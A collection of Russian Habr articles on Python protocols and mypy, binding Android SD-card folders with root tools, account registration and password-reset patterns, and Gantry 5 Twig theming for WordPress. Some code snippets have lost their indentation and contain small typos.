Но именно эта гибкость и усложняет раннее обнаружение ошибок типизации. Корректность использования объектов определяется динамически, в момент выполнения программы, и зачастую тестирование – единственный способ отловить подобные ошибки. Статическая проверка типов и корректности программы в данном случае представляет значительную сложность.
Номинальная типизация
---------------------
При [номинальной типизации](https://en.wikipedia.org/wiki/Nominal_type_system) (nominal type system) совместимость типов определяется, основываясь на *явных декларациях* в коде программы, например, на именах классов и иерархии наследования. Если класс `Duck` явно объявлен наследником класса `Bird`, то объекты класса `Duck` могут быть использованы везде, где ожидаются объекты класса `Bird`. Применительно к Python, *mypy* может статически, без непосредственного запуска программы, основываясь только на исходном коде, проверить такую совместимость.
Рассмотрим небольшой пример:
```
class Bird:
def feed(self) -> None:
print("Feeding the bird...")
class Duck(Bird):
def feed(self) -> None:
print("Feeding the duck...")
class Goose:
"""
Этот класс по каким-то причинам не объявлен наследником класса Bird.
"""
def feed(self) -> None:
print("Feeding the goose...")
def feed(bird: Bird) -> None:
bird.feed()
# OK
feed(Bird())
# OK
feed(Duck())
# Mypy error: Argument 1 to "feed" has incompatible type "Goose";
# expected "Bird"
feed(Goose())
# Mypy error: Argument 1 to "feed" has incompatible type "None";
# expected "Bird"
feed(None)
```
Хотя класс `Goose` имеет нужный нам метод `feed`, с точки зрения номинальной типизации он не является подтипом `Bird`, о чем и сообщает *mypy*.
Проверка совместимости типов в соответствии с номинальной типизацией и иерархией наследования существует во многих языках программирования. Например, Java, C#, C++ и многие другие языки используют номинальную систему типов.
Структурная типизация
---------------------
[Структурная типизация](https://en.wikipedia.org/wiki/Structural_type_system) (structural type system) определяет совместимость типов на основе *структуры* этих типов, а не на явных декларациях. Подобный механизм может рассматриваться как некоторый аналог утиной типизации, но для статических проверок, в некотором смысле *compile time duck typing*.
Структурная типизация также довольно широко распространена. Например, [интерфейсы в Go](https://gobyexample.com/interfaces) – это набор методов, которые определяют некоторую функциональность. Типы, реализующие интерфейсы в Go не обязаны декларировать каким-либо образом, что они реализуют данный интерфейс, достаточно просто реализовать соответствующие методы интерфейса.
Другой пример – это TypeScript, который также использует структурную систему типов:
```
// TypeScript
interface Person {
name: String
age: Number
}
function show(person: Person) {
console.log("Name: " + person.name)
console.log("Age: " + person.age)
}
class Employee {
name: String
age: Number
constructor(name: String, age: Number) {
this.name = name
this.age = age
}
}
class Figure {}
// OK
show(new Employee("John", 30))
// OK
show({name: "Peter", age: 25})
// Error:
// Argument of type 'Figure' is not assignable to parameter of type 'Person'.
// Type 'Figure' is missing the following properties
// from type 'Person': name, age
show(new Figure())
```
Здесь класс `Employee` является подтипом `Person`, хотя в коде нет никаких явных деклараций наследования. Важно лишь то, что `Employee` имеет необходимые свойства `name` и `age`. Класс `Figure`, напротив, не имеет указанных свойств и, следовательно, не может быть использован там, где ожидается `Person`.
Python и протоколы
------------------
Начиная с версии Python 3.8 ([PEP-544](https://www.python.org/dev/peps/pep-0544)), появляется новый механизм *протоколов* для реализации структурной типизации в Python. Термин *протоколы* давно существует в мире Python и хорошо знаком всем, кто работает с языком. Можно вспомнить, например, [протокол итераторов](https://treyhunner.com/2016/12/python-iterator-protocol-how-for-loops-work/), протокол дескрипторов, и несколько других.
Новые протоколы в некотором смысле "перегружают" уже устоявшийся термин, добавляя возможность *структурно* проверять совместимость типов при статических проверках (с помощью, например, [mypy](https://mypy.readthedocs.io/en/stable/)). В момент исполнения программы, протоколы в большинстве случаев не имеют какого-то специального значения, являются обычными абстрактными классами (`abc.ABC`), и *не предназначены для инстанциирования объектов напрямую.*
Рассмотрим следующий пример:
```
import typing as t
# t.Iterable[int] - это протокол итераций
def iterate_by(numbers: t.Iterable[int]) -> None:
for number in numbers:
print(number)
# OK
iterate_by([1, 2, 3])
# OK
iterate_by(range(1_000_000))
# Mypy error: Argument 1 to "iterate_by" has incompatible type "str";
# expected "Iterable[int]"
# note: Following member(s) of "str" have conflicts:
# note: Expected:
# note: def __iter__(self) -> Iterator[int]
# note: Got:
# note: def __iter__(self) -> Iterator[str]
iterate_by("duck")
```
*Mypy* сообщит нам об ошибке, если переданный в функцию `iterate_by` объект не будет поддерживать *протокол итераций* (напомню, у объекта должен быть метод `__iter__` возвращающий итератор).
Если мы объявим собственный класс, который будет поддерживать протокол итераций, то *mypy* сможет точно так же, статически проверить соответствие объектов нашего класса заявленному протоколу.
```
# ... продолжение предыдущего примера
class Fibonacci:
def __iter__(self) -> t.Iterator[int]:
a, b = 0, 1
while True:
yield a
a, b = b, a + b
# OK
iterate_by(Fibonacci())
class Animals:
"""
Этот класс, хотя и достаточно интересен сам по себе,
но не поддерживает итерации по целым числам,
поэтому не соответствует нашему протоколу.
"""
def __iter__(self) -> t.Iterator[str]:
yield from ["duck", "cat", "dog"]
# Mypy error: Argument 1 to "iterate_by" has incompatible type "Animals";
# expected "Iterable[int]"
iterate_by(Animals())
```
В стандартной библиотеке (в модуле `typing`) определено довольно много протоколов для статических проверок. Полный список и примеры использования встроенных протоколов можно посмотреть в [документации mypy](https://mypy.readthedocs.io/en/stable/protocols.html#protocols-and-structural-subtyping).
Пользовательские протоколы
--------------------------
Кроме использования определенных в стандартной библиотеке протоколов, есть возможность определять собственные протоколы. При статической проверке типов *mypy* сможет подтвердить соответствие конкретных объектов объявленным протоколам, либо укажет на ошибки при несоответствии.
### Пример использования
Разберем небольшой пример использования пользовательских протоколов:
```
import typing as t
class Figure(t.Protocol):
"""Геометрическая фигура."""
# Протоколы могут определять не только методы, но и атрибуты
name: str
def calculate_area(self) -> float:
"""Вычислить площадь фигуры."""
def calculate_perimeter(self) -> float:
"""Вычислить периметр фигуры."""
def show(figure: Figure) -> None:
print(f"S ({figure.name}) = {figure.calculate_area()}")
print(f"P ({figure.name}) = {figure.calculate_perimeter()}")
```
Класс декларирующий протокол должен являться наследником класса `Protocol` определенного в модуле `typing`. Атрибуты и методы перечисленные в теле класса-протокола должны быть реализованы во всех классах, соответствующих данному протоколу. В общем случае тело методов класса-протокола не имеет значения (хотя и существует возможность добавить реализацию методов по-умолчанию).
Объявим несколько классов, соответствующих протоколу `Figure`.
```
# ... продолжение предыдущего примера
class Square:
name = "квадрат"
def __init__(self, size: float):
self.size = size
def calculate_area(self) -> float:
return self.size * self.size
def calculate_perimeter(self) -> float:
return 4 * self.size
def set_color(self, color: str) -> None:
"""
Класс может содержать собственные методы,
которые не относятся к протоколу.
"""
self.color = color
# OK
show(Square(size=3.14))
```
Обратите внимание, что класс `Square` номинально не является наследником класса `Figure`. *Mypy* может проверить соответствие аргумента функции `show` протоколу `Figure`, основываясь на структуре класса `Square`. В этом смысле, структурная типизация позволяет сократить внутренние зависимости между частями кода. Представим, что протокол `Figure` и функция `show` объявлены в одном модуле, а класс `Square` – в совершенно другом (или даже эти классы находятся в разных библиотеках). При этом между двумя модулями не будет никаких зависимостей, что может способствовать более гибкому проектированию приложения.
Если реализация протокола будет некорректной, то *mypy* сообщит об ошибке:
```
# ... продолжение предыдущего примера
class Circle:
PI = 3.1415926
name = "окружность"
def __init__(self, radius: float):
self.radius = radius
def calculate_perimeter(self) -> float:
return 2 * self.PI * self.radius
# Mypy error: Argument 1 to "show" has incompatible type "Circle";
# expected "Figure"
# note: 'Circle' is missing following 'Figure' protocol member:
# note: calculate_area
show(Circle(radius=1))
```
В данном примере *mypy* не только сообщает об ошибке в коде программы, но и подсказывает какой метод протокола не реализован (или реализован неправильно).
### Явная имплементация протокола
Помимо неявной имплементации, разобранной в примерах выше, есть возможность явно имплементировать протокол. В таком случае *mypy* сможет проверить, что все методы и свойства протокола реализованы правильно.
```
import typing as t
import abc
class Readable(t.Protocol):
@abc.abstractmethod
def read(self) -> str:
...
def get_size(self) -> int:
"""
Этот метод имеет реализацию по-умолчанию.
"""
return 1_000
# OK
class File(Readable):
def read(self) -> str:
return "содержимое файла"
# OK
print(File().get_size()) # Выведет 1000
# Mypy error: Return type "int" of "read" incompatible
# with return type "str" in supertype "Readable"
class WrongFile(Readable):
def read(self) -> int:
return 42
```
В случае явной имплементации протоколы становятся больше похожи на абстрактные классы (`abc.ABC`), позволяют проверять корректность реализации методов и свойств, а так же использовать реализацию по-умолчанию. Но опять же, явное наследование *не является обязательным*, соответствие произвольного объекта протоколу *mypy* сможет проверить при статическом анализе.
### Декоратор runtime\_checkable
В основном протоколы не предназначены для проверок времени выполнения, наподобие `isinstance` и `issubclass`. Например, если в коде будет следующая проверка, то *mypy* сообщит об ошибке:
```
# ... продолжение предыдущего примера с протоколом Figure
s = Square(4)
# Mypy error: Only @runtime_checkable protocols can be used
# with instance and class checks
# isinstance(s, Figure)
isinstance(s, Figure)
```
Как видно из текста ошибки, можно использовать специальный декоратор `@runtime_checkable`, чтобы добавить возможность для проверок соответствий типов в момент выполнения программы.
```
import typing as t
@t.runtime_checkable
class HasLength(t.Protocol):
def __len__(self) -> int:
...
# OK
print(isinstance("Утка", HasLength)) # Выведет True
print(isinstance([1, 2, 3], HasLength)) # Выведет True
```
Хотя это и может быть полезно в каких-то случаях, у этого метода есть несколько серьезных ограничений, которые подробно разобраны в [PEP-544](https://www.python.org/dev/peps/pep-0544/#id52).
Несколько слов в заключение
---------------------------
Новые протоколы являются продолжением идеи *утиной типизации* в современном Python, в котором инструменты статической проверки типов заняли довольно важное место. *Mypy* и другие подобные инструменты теперь имеют возможность использовать *структурную типизацию* в дополнение к *номинальной* для проверки корректности кода на Python. Кроме того, если вы используете аннотации и проверки типов в своих проектах, то новые протоколы могут сделать код более гибким, сохраняя при этом безопасность и уверенность, которую дает статическая типизация.
Если вам есть что добавить о достоинствах и недостатках структурной типизации, прошу поделиться своими мыслями в комментариях.
Примечания
----------
* Все примеры рассмотренные в статье проверялись в Python 3.9 / mypy 0.812.
* [Файл настроек mypy](https://pastebin.com/pRUS9SeD)
Полезные ссылки
---------------
* [mypy](https://mypy.readthedocs.io/en/stable/)
* [PEP-544 – Protocols: Structural subtyping](https://www.python.org/dev/peps/pep-0544)
* [Утиная типизация](https://docs.python.org/3/glossary.html#term-duck-typing) (Глоссарий Python)
* [Nominal type system](https://en.wikipedia.org/wiki/Nominal_type_system) (Wikipedia)
* [Structural type system](https://en.wikipedia.org/wiki/Structural_type_system) (Wikipedia)
* [The Iterator Protocol: How "For Loops" Work in Python](https://treyhunner.com/2016/12/python-iterator-protocol-how-for-loops-work/)
* [Protocols and structural subtyping](https://mypy.readthedocs.io/en/stable/protocols.html#protocols-and-structural-subtyping) (Документация mypy)
* [Интерфейсы в Go](https://gobyexample.com/interfaces) | https://habr.com/ru/post/557898/ | null | ru | null |
# Андроид: [DirectoryBind] Простой способ связать внешнюю sd карту и внутреннюю память, чтобы освободить место
Сразу оговорюсь, что речь пойдет не о программах типа link2sd. Принцип похож, но связывать мы будем не программные каталоги, а каталоги данных этих программ, например `/sdcard2/Navigon -> /sdcard/Navigon` или `/mnt/extSdCard/Books -> /sdcard/Books` и т.д.
Кроме того, нам нужен [рут](/post/114645/) (куда ж без него). Кстати, после того как я узнал про эту программу, это для меня очередной аргумент за root.
Многие владельцы андроид смартфонов или таблеток с небольшей встроеной памятью наверняка сталкивались со следущей проблемой: вставлена большая sd карта (например 16, 32 или даже 64 Гигабайт), но после установки нескольких тяжеловесных программ наше устройство или очередная программа с наглостью заявляет, что на карте не хватает места. Иногда сама программа небольшая, но после установки лезет в интернет и тянет на смартфон гигабайты данных.
В очередной раз получив сообщение «Нет места» и заглянув на карточку видим, что она практически пуста, зато внутренняя память устройства забита под завязку.
Это происходит потому, что внутренняя память часто используется как каталог по умолчанию для многих программ. Дело в том, что она монтируется как `/sdcard`, что исторически всегда было внешней sd картой (раньше так оно и было на всех смартфонах). Внешняя же sd карта монтируется в этом случае как `/sdcard2`, `/mnt/sdcard2`, `/mnt/extSdCard` или даже `/sdcard/.externalSD`. Я так понимаю, что это делается изготовителями, чтобы устройство работало из коробки, т.е. совсем без sd карты.
Многие «недобросовестные» программы всегда хотят читать/писать данные из/в каталог `/sdcard/НазваниеПодставить`. Редко это можно изменить в настройках программы.
В результате имеем, что имеем, и несколько возможностей чтобы поправить сложившееся положение:* перемонтировать каталоги: внешнюю sd карту на `/sdcard`, а внутреннюю на `/sdcard2` (нужен рут, если нет в настройках). По моему недостаточно гибкий способ, т.к. теперь уже внутренняя память лежит у нас мертвым грузом. Еще один недостаток этого способа — [скорость работы системы](#slow).
Если вы все же решитесь пойти этим путем, [внизу](#change_int_ext) я добавил как это можно сделать.
* создать символьную ссылку на внешние каталоги, как нам нужно, например
`ln -sf /mnt/externalSD/Books /sdcard/Books`.
Не работает, если файловая система не поддерживает симлинк (например fat).
* при загрузке андроида примонтировать внешние каталоги на внутреннюю память, используя что-то типа
`mount -o bind /mnt/externalSD/Books /sdcard/Books`
и добавить это в автозагрузку, например используя [Autostart (root)](https://play.google.com/store/apps/details?id=nk.bla.android.autostart), чтобы это происходило автоматически при включении или после перезагрузки устройства.
Два последних способа тоже не являются панацеей, т.к. требуют определенных навыков от пользователя, кроме того не достаточно «чисты», например известны проблемы при подключении смартфона к компьютеру через usb (не отмонтируются) и т.д.
Поправить положение поможет программа [DirectoryBind](http://forum.xda-developers.com/showthread.php?t=1410262), которую хороший человек slig из xda написал для себя и выложил на форуме для всеобщего пользования.
**QR-код**
Хоть публика здесь технически подкованная, но для неискушенных читателей хабра нужно сделать пару пояснений. Как он сам написал (программа not idiot-proof), т.е. врядли пройдет тест на дурака.
После установки запускаем программу (первый раз естественно навечно разрешаем права Root), нажимаем меню затем «Preferences» и выставляем пути по умолчанию на внешнюю память «Default data path» например `/sdcard/external_sd/` и внутреннюю память «Default target path» `/sdcard/`. Выходим из меню.
Нажимаем меню, затем «Add new entry»
Теперь создадим новую связь каталогов, например перенесем папку `CamScanner` на внешнюю карту. Долгое нажатие на путь к папкам открывает небольшой встроеный файловый менеджер, в котором можно создать и/или выбрать папку. Папка на внешней карте должна быть создана (и пуста).
Установив галочку в «Transfer files from target to data» файлы и папки будут перенесены из каталога `/sdcard/CamScanner/` в каталог `/sdcard/external_sd/CamScanner`.
Нужно заметить, что связи после создания не активируются автоматически (серая иконка дискеты, как на скрине внизу для gameloft). Для завершения связывания папок, выбираем галочками нужные связи и нажимаем меню -> «Bind checked». Иконки активных (связанных) папок должны стать зелеными.
Кстати если вы хотите присоединить еще и всю внешнюю карточку полностью рекомендую это сделать не так `/sdcard/externalSD/`, а с точкой впереди `/sdcard/.externalSD/`. Это спасет вас от таких неприятностей как двойные превьюшки в галереях, и т.д. Правда поможет не для всех галерей и плееров, т.к. некоторые ищут медиа и в скрытых каталогах.
Помучившись, я для себя решил, связывать только отдельные каталоги.
UPD. Кстати, внешняя SD карта значительно медленнее внутренней памяти, поэтому перенос данных программы на внешнюю SD, естественно замедляет работу этой программы. Это особенно нужно помнить решившим полностью поменять маунт-пойнты внутренней и внешней памяти, т.к. скорее всего все ваше устройство будет работать медленнее, чем раньше.
Надеюсь эта программа дополнит и вашу копилку полезных утилит для андроид устройств.
---
Если вы все-таки решились поменять местами внутреннюю и внешнюю память, т.е. переназначить внешнюю sd карту на `/sdcard` и в настройках устройства нет такой опции — имея рут, это можно легко сделать выполнив следущую операцию:
В Root-Explorer монтируем "/etc" как R/W (если R/O), находим файл "/etc/vold.fstab", сохраняем копию и открываем (длинным кликом) его в Text Editor.
В следующих двух строчках меняем название моунт точек местами:
```
dev_mount sdcard /mnt/sdcard emmc@fat /devices/platform/goldfish_mmc.0 ...
dev_mount sdcard /mnt/external_sd auto /devices/platform/goldfish_mmc.1 ...
```
на
```
dev_mount sdcard /mnt/external_sd emmc@fat /devices/platform/goldfish_mmc.0 ...
dev_mount sdcard /mnt/sdcard auto /devices/platform/goldfish_mmc.1 ...
```
Подробнее можно почитать [здесь](http://www.droidiser.com/2012/11/swap-internal-sdcard-external-mod-android.html). Там же предлагают, как альтернативу, использовать другую интересную программу [Root External 2 Internal SD](https://play.google.com/store/apps/details?id=eu.codlab.int2ext).
Добавлю, что в обоих случаях, перед переключением, вам нужно скопировать все содержимое папки `/sdcard` на внешнюю sd карту.
Помните, что после переключения вся ваша система может работать [медленней](#slow), чем раньше.
**Будьте осторожны** — нужно понимать, что все что вы делаете под рутом, вы делаете на свой страх и риск, и например сохранение неправильного «vold.fstab» может привести к невозможности загрузить устройство и для лечения нужно будет грузится в рекавери и править «vold.fstab» уже там.
Этот способ можно использовать совместно с DirectoryBind, только теперь наоборот «Default target path» (/sdcard) и все связи созданные в DirectoryBind будут указывать на внешнюю карту. | https://habr.com/ru/post/169965/ | null | ru | null |
# Манипулирование учетными записями пользователя — шаблоны реализации
 Тема этой публикации вряд ли заинтересует опытного разработчика веб-приложений.
Но для тех, кто впервые сталкивается с необходимостью реализовать работу с учетными записями зарегистрированных пользователей предлагаем подробное, иллюстрированное изложение основных моментов.
Сразу оговорюсь, что регистрацию через *социальные сервисы* не рассматривается, так как в этом случае работа с учетными записями остается в зоне ответственности соответствующих *социальных сервисов*.
Все манипуляции с учетными записями пользователя сводятся к следующим:
1. регистрация с подтверждением по электронной почте;
2. смена некритичных настроек;
3. смена критичных настроек — с подтверждением паролем;
4. смена адреса электронной почты — с подтверждением по электронной почте;
5. восстановление забытого пароля.
Так как эта статья располагается в хабе веб-сервиса [TheOnlyPage](http://www.theonlypage.com/), то в качестве иллюстраций будем использовать скриношоты работы с этим сервивисом.
Регистрация с подтверждением по электронной почте
-------------------------------------------------
Как правило, в качестве уникального идентификатора пользователя используется его адрес электронной почты, а пользователь должен подтвердить его использование:
В момент регистрации имеет смысл запрашивать минимально-необходимый набор сведений о пользователе, ограничившись *адресом электронной почты* и *паролем*.
Для контроля правильности ввода *пароль* указывается дважды.
После получения электронной почты и пароля, на указанный адрес отправляется письмо со ссылкой содержащей *строку подтверждения*. Строка подтверждения однозначно идентифицирует пользователя, который проходит регистрацию.
И пользователю сообщается об этом.
Пользователь получает письмо, кликает по ссылке со строкой подтверждения, веб сервис по *строке подтверждения* определяет пользователя и регистрирует его в системе.
**Подытожим алгоритм регистрации пользователя:**
1. *получить* адрес электронной почты и пароль
2. *отправить* письмо со строкой подтверждения регистрации
3. *сообщить* пользователю об отправке письма
4. *обработать* клик по строке подтверждения и *зарегистрировать* пользователя
Интересным является вопрос: где хранить информацию о пользователях еще не подтвердивших свой адрес электронной почты: в отдельной таблице или вместе со всеми уже зарегистрированными пользователями.
Ответ на него очевиден: информацию о недозарегистрированных пользователях лучше хранить в отдельной таблице:
* чтобы не возникало проблем с многократными незаконченными регистрациями для одного электронного адреса;
* чтобы был порядок в работе с различными сущностями.
Смена некритичных настроек
--------------------------
У пользователя могут быть и какие-то другие атрибуты кроме *адреса электронно почты* и *пароля*. Доступ к редактированию и сохранению большинства из них не стоит ограничивать.
Чтобы пользователь мог, просто открыть необходимую форму:
И сохранить результат
Смена критически важных настроек
--------------------------------
Самой первой из важных настроек, которые приходится иногда менять является *пароль*.
При сохранении *нового пароля*, как и любого другого важного атрибута пользователя, следует подтвердить сохранение вводом пароля.
Всегда новый пароль указывается дважды, чтобы не допустить ошибки ввода.
Важным моментом является способ хранения информации о пароле пользователя.
Существует множество старых, успешных веб-сервисов, сохраняющих в базе данных сами пароли. Это неправильно, недопустимо и все современные веб-приложения хранят не пароли, а их хеши.
Хеш это строка, сгенерированная из пароля и специальной секретной добавки (salt).
Еще лучшая защита данных обеспечивается, если генерировать хеш не только на основе пароля и секретной строки, но и электронной почты пользователя. Что делает невозможным подмену электронной почты без замены хеша.
**Подытожим алгоритм смены пароля:**
1. *получить* старый и новый пароли;
2. *сравнить* хеш старого пароля с хешом хранящимся в базе данных;
3. если хеши совпали: *вычислить* хеш для нового пароля и *сохранить* его в базе данных.
Смена электронной почты
-----------------------
Электронная почта является критически важным атрибутом, поэтому при ее смене стоит указывать пароль.
Пользователь должен подтвердить принадлежность нового электронного адреса. Для этого пользователю, по указанному новому адресу электронной почты направляется письмо со ссылкой содержащей *строку подтверждения*. Строка подтверждения однозначно идентифицирует пользователя, который инициировал смену адреса электронной почты.
И пользователю сообщается об этом:
Пользователь получает письмо, кликает по ссылке содержащей строку подтверждения, веб сервис *по строке подтверждения* определяет пользователя и переадресовывает его на специальную страничку подтверждения владения учетной записью. В скрытом поле формы на этой страничке указывается специальная строка, однозначно идентифицирующую пользователя.
Пользователь должен ввести пароль, чтобы подтвердить владение учетной записью. Это нужно на случай ошибки в адресе, когда письмо-подтверждение получит посторонний человек. Чтобы он не мог присвоить чужую учетную запись, просто кликнув по ссылке в письме.
Пользователь указывает пароль, и подтверждает смену адреса.
**Подытожим алгоритм смены электронной почты пользователя:**
1. *получить* адрес электронной почты и пароль;
2. *сравнить* хеш пароля и хешом хранящимся в базе данных;
3. если хеши совпали: *отправить* письмо со строкой подтверждения смены адреса
4. *сообщить* пользователю об отправке письма;
5. *обработать* клик по строке подтверждения и *отобразить* страницу подтверждения владения учетной записью;
6. *получить* специальную строку и пароль пользователя, по специальной строке определить пользователя и убедиться в правильности пароля (аналогично п.2);
7. если пароль правильный: *заменить* в базе данных старый электронный адрес на новый, а если хеш пароля вычисляется с использованием адреса электронной почты – то, одновременно вычислить и сохранить в базе данных новый хеш пароля.
Смена забытого пароля
---------------------
При инициировании смены *забытого пароля* пользователь должен указать адрес электронной почты.
После получения адреса электронной почты на указанный адрес отправляется письмо со ссылкой содержащей *строку подтверждения*. Строка подтверждения однозначно идентифицирует пользователя, который восстанавливает пароль.
И пользователю сообщается об этом:
Пользователь получает письмо, кликает по ссылке подтверждения. Веб-сервис по *строке подтверждения* определяет пользователя и переадресовывает его на специальную страничку ввода нового пароля. В скрытом поле формы на этой страничке указывается специальная строка, однозначно идентифицирующая пользователя.
Как обычно новый пароль указывается дважды, чтобы не допустить ошибки ввода.
**Подытожим алгоритм смены электронной почты пользователя:**
1. *получить* адрес электронной почты;
2. *отправить* письмо со строкой подтверждения смены пароля;
3. *сообщить* пользователю об отправке письма;
4. *обработать* клик по строке подтверждения и *отобразить* страницу смены пароля;
5. *получить* специальную строку и новый пароль пользователя, по специальной строке определить пользователя и сгенерировать хеш нового пароля и сохранить в базе данных;
Специальная строка, идентифицирующая пользователя
-------------------------------------------------
При регистрации, смене адреса и смене забытого пароля используется специальная строка (токен) идентифицирующая пользователя.
Есть два способа генерации таких строк:
**Первый (с использованием базы данных):**
Генерировать случайную последовательность и сохранять ее в базе данных в отдельной таблице с указанием `id` пользователя, типа, времени жизни этого сообщения. Затем, получив подобную строку обращаться к этой таблице и находить по строке `id` пользователя. Периодически чистить таблицу от накопившихся нереализованных сообщений.
**Второй (с шифрованием):**
Генерировать псевдослучайную последовательность зашифровав информацию об `id` пользователя, типе сообщения и времени жизни сообщения в самом сообщении. А при получении строки расшифровать и получить всю информацию без обращений к базе данных.
Вот как может выглядеть работа со *специальной строкой* (*токеном*) на языке **python**, с использованием библиотеки `itsdangerous`
При генерации токена
```
from itsdangerous import TimedJSONWebSignatureSerializer as Serializer
# создаем сериализатор указав, используемый секретный ключ
# и время жизни (в секундах) зашифрованной информации
serializer = Serializer('very_secreti_key', expires_in=60*60*24 )
# получаем специальную строку содрежащую всю информацию
id=1234567
token = serializer.dumps( {'newemail': id} ) }
```
Получив специальную строку, можем извлечь из неё информацию
```
# создаем сериализатор указав, используемый секретный ключ
serializer = Serializer('very_secreti_key')
# получаем зашифрованные данные:
# {'newemail': 1234567}
try:
data = serializer.loads( token )
```
Очевидно, что второй способ, без использования дополнительной таблицы базы данных, является предпочтительным. | https://habr.com/ru/post/239301/ | null | ru | null |
# Переосмысление разметки. Первые шаги с Gantry 5. Часть 2
[В первой части](https://habrahabr.ru/post/325744/) говорилось об основных проблемах с которыми пришлось столкнуться при изучении Gantry 5. Здесь я постараюсь рассказать о вещах на которые стоит обратить внимание перед написанием своего шаблона.
Плагин
------
### Nucleus — шаблоны (/templates/)
В качестве шаблонизатора Gantry 5 использует [Twig](https://twig.sensiolabs.org/). По умолчанию внутрь плагина встроен каркас на который стоит опираться при создании собственной темы (он расположен по адресу **/плагин/engines/nucleus/**).
Большинство twig-шаблонов которые будут созданы в дальнейшем в теме должны наследоваться от одного из представленных здесь файлов. Это позволит сохранять единую структуру, а с помощью принципов работы twig можно будет корректировать любые блоки описанные здесь. Внутри уже есть базовые twig-шаблоны. Вот некоторые из них:
**templates/page.html.twig** — базовая разметка страницы. Все twig-шаблоны созданные в теме, должны быть унаследованы от этого файла для сохранения единой структуры.
Блоки описанные в шаблоне:
* content;
* page\_offcanvas;
* page\_layout;
* page\_top;
* page\_bottom;
* body\_top;
* body\_bottom;
* page\_head;
* page\_footer.
Эти блоки могут быть переопределены в шаблоне после наследования на стороне темы.
Сама структура страницы выглядит вот так:
```
{# Основной блок шаблона в котором создаётся каркас страницы #}
{%- block page -%}
{{ page\_head|raw }}
{% block page\_body -%}
{{ gantry.config.page.body.body\_top|raw }}
{{ body\_top|raw }}
{{ page\_offcanvas|raw }}
{% if page\_offcanvas|trim %}
{% endif %}
{{ page\_top|raw }}
{{ page\_layout|raw }}
{{ page\_bottom|raw }}
{{ body\_bottom|raw }}
{{ page\_footer|raw }}
{{ gantry.config.page.body.body\_bottom|raw }}
{%- endblock %}
{% endblock -%}
```
*Стоит отметить что при изучении Gantry 5 я столкнулся с небольшой проблемой. При рендере страницы в коде появляется много пустых строк (некрасиво смотрится). В качестве решения рекомендую использовать в шаблонах темы twig-конструкцию **{% spaceless %}{% endspaceless %}**. Получается минифицированный код.*
**templates/page\_head.html.twig** — шаблон шапки сайта. Вызывается в блоке **page\_head** файла **templates/page.html.twig.**
Блоки описанные в шаблоне:
* head\_meta;
* head\_title;
* head\_application;
* head\_ie\_stylesheets;
* head, head\_custom.
В этом же шаблоне устанавливаются атомы.
```
{% block head\_meta %}
{% if gantry.config.page.head.meta -%}
{% for attributes in gantry.config.page.head.meta -%}
{%- for key, value in attributes %}
{% endfor -%}
{%- endfor -%}
{%- endif -%}
{% if gantry.config.page.assets.favicon %}
{% endif %}
{% if gantry.config.page.assets.touchicon %}
{% endif %}
{% endblock %}
{%- block head\_title -%}
Title
{%- endblock %}
{% block head\_application -%}
{{ gantry.styles('head')|join("\n")|raw }}
{{ gantry.scripts('head')|join("\n")|raw }}
{%- endblock %}
{% block head\_ie\_stylesheets -%}
{% endblock -%}
{% block head %}{% endblock %}
{% block head\_custom %}
{% if gantry.config.page.head.head\_bottom %}
{{ gantry.config.page.head.head\_bottom|raw }}
{% endif %}
{% endblock %}
```
**templates/partials/particle.html.twig** — файл для наследования при создания частиц. Блоки описанные в шаблоне (изначально все блоки только определены и в них нет кода):
* stylesheets;
* javascript;
* javascript\_footer;
* particle.
*Следует отметить что для подключение стилей и скриптов в **templates/partials/particle.html.twig** и **templates/page\_head.html.twig** используется следующая конструкция.*
```
{# Эта конструкция позволяет подключать скрипты и стили в определённые места#}
{% assets in **‘head’** %}{% endassets %}
{{ gantry.styles(**'head'**)|join("\n")|raw }} {# Место подключения для стилей #}
{{ gantry.scripts(**'head'**)|join("\n")|raw -}} {# Место подключения для скриптов #}
```
где **head** название блока в который будут подключены стили. Подробнее [тут](http://docs.gantry.org/gantry5/advanced/css-js-twig).
*Увы но при такой работе со скриптами напрочь пропадает возможность использовать сторонние плагины для их минимализации.*
### Nucleus — стили (/scss/)
При правильном построении темы, Gantry 5 самостоятельно осуществит подключение файлов стилей описанных в плагине (**nucleus.scss** и **wordpress.scss**). Таким образом **отпадает необходимость** их **переопределения в шаблоне** (соответственно и подключать их в своём файле стилей **не требуется**). Но будьте осторожны при переопределении базовых шаблонов поскольку подключение стилей производится непосредственно них.
### Nucleus — виды (/views/)
Собраны основные виды. Их можно использовать как примеры для создания собственных шаблонов в теме. При этом во время рендера плагин сначала выполняет поиск файла шаблона в каталоге **/views/** темы, а если его не находит то далее поиск идёт в плагине.
Шаблон
------
### Файлы темы
Рассмотрим пример файла index.php из шаблона темы:
```
php
//импортируем twig
use Timber\Timber;
$gantry = Gantry\Framework\Gantry::instance();
$theme = $gantry['theme'];
//в переменную $context будем записывать данные к которым хотим иметь доступ в twig-шаблонах
$context = Timber::get_context();
$context['page_head'] = $theme-render('partials/page_head.html.twig', $context);
$context['posts'] = Timber::get_posts();
//Шаблон который мы хотим использовать для рендера страницы
$templates = ['index.html.twig'];
//если в массиве $templates несколько элементов то будет выбран первый найденный файл
if (is_front_page()) {
array_unshift($templates, 'home.html.twig');
}
Timber::render($templates, $context);
```
Таким образом описываются все файлы которые может вызвать wordpress. Если посмотреть со стороны то может показаться что теперь классические файлы темы wordpress становятся своеобразными контроллерами в которых мы можем выполнить некоторые действия а после вывести шаблон.
Есть небольшое отличие от классического построения темы. Не всегда требуется создавать **footer.php** и **header.php** ведь они могут быть созданы в файлах twig (скажу больше, я вообще не смог создать условия при которых были бы выведены шаблоны из этих файлов).
### Виды
Функция **Timber::render();** выполняет рендер twig-файла из каталога **/views/**. Вот простейший пример шаблона:
```
{# Наследуем шаблон (**/плагин/engines/nucleus/views/partials/page.html.twig**) #}
{% extends "partials/page.html.twig" %}
{# Переопределяем блок #}
{%- block content -%}
Наш код
{%- endblock -%}
```
В большинстве случаев, при создании шаблонов страниц, достаточно унаследовать шаблон от базового, но если потребуется то можно создать собственный файл с разметкой.
### Описание темы
В директории **/gantry/** хранятся технические файлы которые описывают тему.
**presets.yaml** — файл для описания цветовых схем. В нём можно описать несколько цветовых предустановок темы, для быстрого переключения между ними в админке.
```
preset1:
# изображение
image: 'gantry-admin://images/preset1.png'
# описание или название
description: GANTRY5_PLATFORM_PRESET1
# основные цвета
colors:
- '#439a86'
- '#354d59'
- '#8f4dae'
# предустановленные стили
styles:
base:
background: '#ffffff'
text-color: '#666666'
accent:
color-1: '#439a86'
color-2: '#8f4dae'
```
**theme.yaml** — файл для описания темы.
```
# думаю этот блок в пояснениях не нуждается
details:
